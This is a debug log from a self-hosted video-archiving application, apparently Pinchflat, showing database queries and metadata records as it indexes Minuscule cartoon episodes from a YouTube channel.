queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:44.228 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89106] 22:13:44.228 [debug] Current batch of media processed. Will check again in 1000ms 22:13:45.229 [debug] Current batch of media processed. Will check again in 1000ms 22:13:46.230 [debug] Current batch of media processed. Will check again in 1000ms 22:13:47.231 [debug] Current batch of media processed. Will check again in 1000ms 22:13:48.232 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA butterfly flutters happily above the fields, but with an innocent flap of its wings, it is going to provoke an incredible chain reaction.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 271, "filename" => "/downloads/Miniscule Season 2/2020-03-05 Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2)/Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2) [EgRwTI6Q7qw].mp4", "id" => "EgRwTI6Q7qw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EgRwTI6Q7qw", "playlist_index" => 105, "timestamp" => 1583422200, "title" => "Minuscule - The butterfly effect / L'effet papillon (Season 2)", "upload_date" => "20200305"} 22:13:48.233 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=863.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:48.234 [debug] QUERY OK source="sources" db=0.3ms idle=62.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:48.235 [debug] QUERY OK source="media_items" db=0.9ms idle=63.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-05 15:30:00Z], 5] 22:13:48.384 [debug] QUERY OK source="media_items" db=147.4ms idle=64.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA butterfly flutters happily above the fields, but with an innocent flap of its wings, it is going to provoke an incredible chain reaction.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The butterfly effect / L'effet papillon (Season 2)", "72d6b68b-a37f-4a1b-a13f-243e07616c9f", "EgRwTI6Q7qw", 271, false, 5, "https://www.youtube.com/watch?v=EgRwTI6Q7qw", 105, "/downloads/Miniscule Season 2/2020-03-05 Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2)/Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2) [EgRwTI6Q7qw].mp4", false, false, false, [], 1, ~U[2020-03-05 15:30:00Z], ~U[2025-12-12 05:13:48Z], ~U[2025-12-12 05:13:48Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA butterfly flutters happily above the fields, but with an innocent flap of its wings, it is going to provoke an incredible chain reaction.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The butterfly effect / L'effet papillon (Season 2)", "EgRwTI6Q7qw", 271, false, 5, "https://www.youtube.com/watch?v=EgRwTI6Q7qw", "/downloads/Miniscule Season 2/2020-03-05 Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2)/Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2) [EgRwTI6Q7qw].mp4", false, ~U[2020-03-05 15:30:00Z]] 22:13:48.385 [debug] QUERY OK source="sources" db=0.4ms idle=151.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:48.386 [debug] QUERY OK source="media_profiles" db=0.3ms idle=151.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:48.387 [debug] QUERY OK source="media_items" db=0.5ms idle=150.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89108] 22:13:48.387 [debug] Current batch of media processed. Will check again in 1000ms 22:13:48.844 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:49.388 [debug] Current batch of media processed. Will check again in 1000ms 22:13:50.389 [debug] Current batch of media processed. Will check again in 1000ms 22:13:51.390 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider decides to add his own special touch to an Artist's work.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 135, "filename" => "/downloads/Miniscule Season 2/2020-02-27 Minuscule - The artist ⧸ L'artiste (Season 2)/Minuscule - The artist ⧸ L'artiste (Season 2) [zNrfH2YFABg].mp4", "id" => "zNrfH2YFABg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zNrfH2YFABg", "playlist_index" => 106, "timestamp" => 1582817402, "title" => "Minuscule - The artist / L'artiste (Season 2)", "upload_date" => "20200227"} 22:13:51.391 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1219.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:51.392 [debug] QUERY OK source="sources" db=0.3ms idle=1220.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:51.393 [debug] QUERY OK source="media_items" db=1.0ms idle=1221.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-27 15:30:02Z], 5] 22:13:51.397 [debug] QUERY OK source="media_items" db=2.3ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider decides to add his own special touch to an Artist's work.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The artist / L'artiste (Season 2)", "6b693764-7a46-478c-ab2c-4a76aaccf0d8", "zNrfH2YFABg", 135, false, 5, "https://www.youtube.com/watch?v=zNrfH2YFABg", 106, "/downloads/Miniscule Season 2/2020-02-27 Minuscule - The artist ⧸ L'artiste (Season 2)/Minuscule - The artist ⧸ L'artiste (Season 2) [zNrfH2YFABg].mp4", false, false, false, [], 1, ~U[2020-02-27 15:30:02Z], ~U[2025-12-12 05:13:51Z], ~U[2025-12-12 05:13:51Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider decides to add his own special touch to an Artist's work.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The artist / L'artiste (Season 2)", "zNrfH2YFABg", 135, false, 5, "https://www.youtube.com/watch?v=zNrfH2YFABg", "/downloads/Miniscule Season 2/2020-02-27 Minuscule - The artist ⧸ L'artiste (Season 2)/Minuscule - The artist ⧸ L'artiste (Season 2) [zNrfH2YFABg].mp4", false, ~U[2020-02-27 15:30:02Z]] 22:13:51.397 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:51.398 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:51.399 [debug] QUERY OK source="media_items" db=0.5ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89110] 22:13:51.399 [debug] Current batch of media processed. Will check again in 1000ms 22:13:52.401 [debug] Current batch of media processed. Will check again in 1000ms 22:13:53.402 [debug] Current batch of media processed. Will check again in 1000ms 22:13:54.403 [debug] Current batch of media processed. Will check again in 1000ms 22:13:55.404 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe mean red ants manage to steal every last bit of food at a barbecue. Will a motley crew of other insects manage to get the food back?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-02-20 Minuscule - Sausage predator ⧸ Saucisse predator (Season 2)/Minuscule - Sausage predator ⧸ Saucisse predator (Season 2) [dVSOJResov4].mp4", "id" => "dVSOJResov4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dVSOJResov4", "playlist_index" => 107, "timestamp" => 1582212604, "title" => "Minuscule - Sausage predator / Saucisse predator (Season 2)", "upload_date" => "20200220"} 22:13:55.405 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=233.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:55.406 [debug] QUERY OK source="sources" db=0.3ms idle=234.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:55.407 [debug] QUERY OK source="media_items" db=1.0ms idle=235.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-20 15:30:04Z], 5] 22:13:55.434 [debug] QUERY OK source="media_items" db=26.1ms idle=236.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe mean red ants manage to steal every last bit of food at a barbecue. Will a motley crew of other insects manage to get the food back?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sausage predator / Saucisse predator (Season 2)", "4f0b757c-b9d7-42b1-a173-05a902aa7b39", "dVSOJResov4", 294, false, 5, "https://www.youtube.com/watch?v=dVSOJResov4", 107, "/downloads/Miniscule Season 2/2020-02-20 Minuscule - Sausage predator ⧸ Saucisse predator (Season 2)/Minuscule - Sausage predator ⧸ Saucisse predator (Season 2) [dVSOJResov4].mp4", false, false, false, [], 1, ~U[2020-02-20 15:30:04Z], ~U[2025-12-12 05:13:55Z], ~U[2025-12-12 05:13:55Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe mean red ants manage to steal every last bit of food at a barbecue. Will a motley crew of other insects manage to get the food back?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sausage predator / Saucisse predator (Season 2)", "dVSOJResov4", 294, false, 5, "https://www.youtube.com/watch?v=dVSOJResov4", "/downloads/Miniscule Season 2/2020-02-20 Minuscule - Sausage predator ⧸ Saucisse predator (Season 2)/Minuscule - Sausage predator ⧸ Saucisse predator (Season 2) [dVSOJResov4].mp4", false, ~U[2020-02-20 15:30:04Z]] 22:13:55.435 [debug] QUERY OK source="sources" db=0.4ms idle=35.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:55.436 [debug] QUERY OK source="media_profiles" db=0.4ms idle=30.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:55.437 [debug] QUERY OK source="media_items" db=0.4ms idle=30.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89112] 22:13:55.437 [debug] Current batch of media processed. Will check again in 1000ms 22:13:56.438 [debug] Current batch of media processed. Will check again in 1000ms 22:13:57.439 [debug] Current batch of media processed. Will check again in 1000ms 22:13:58.440 [debug] Current batch of media processed. Will check again in 1000ms 22:13:59.441 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. 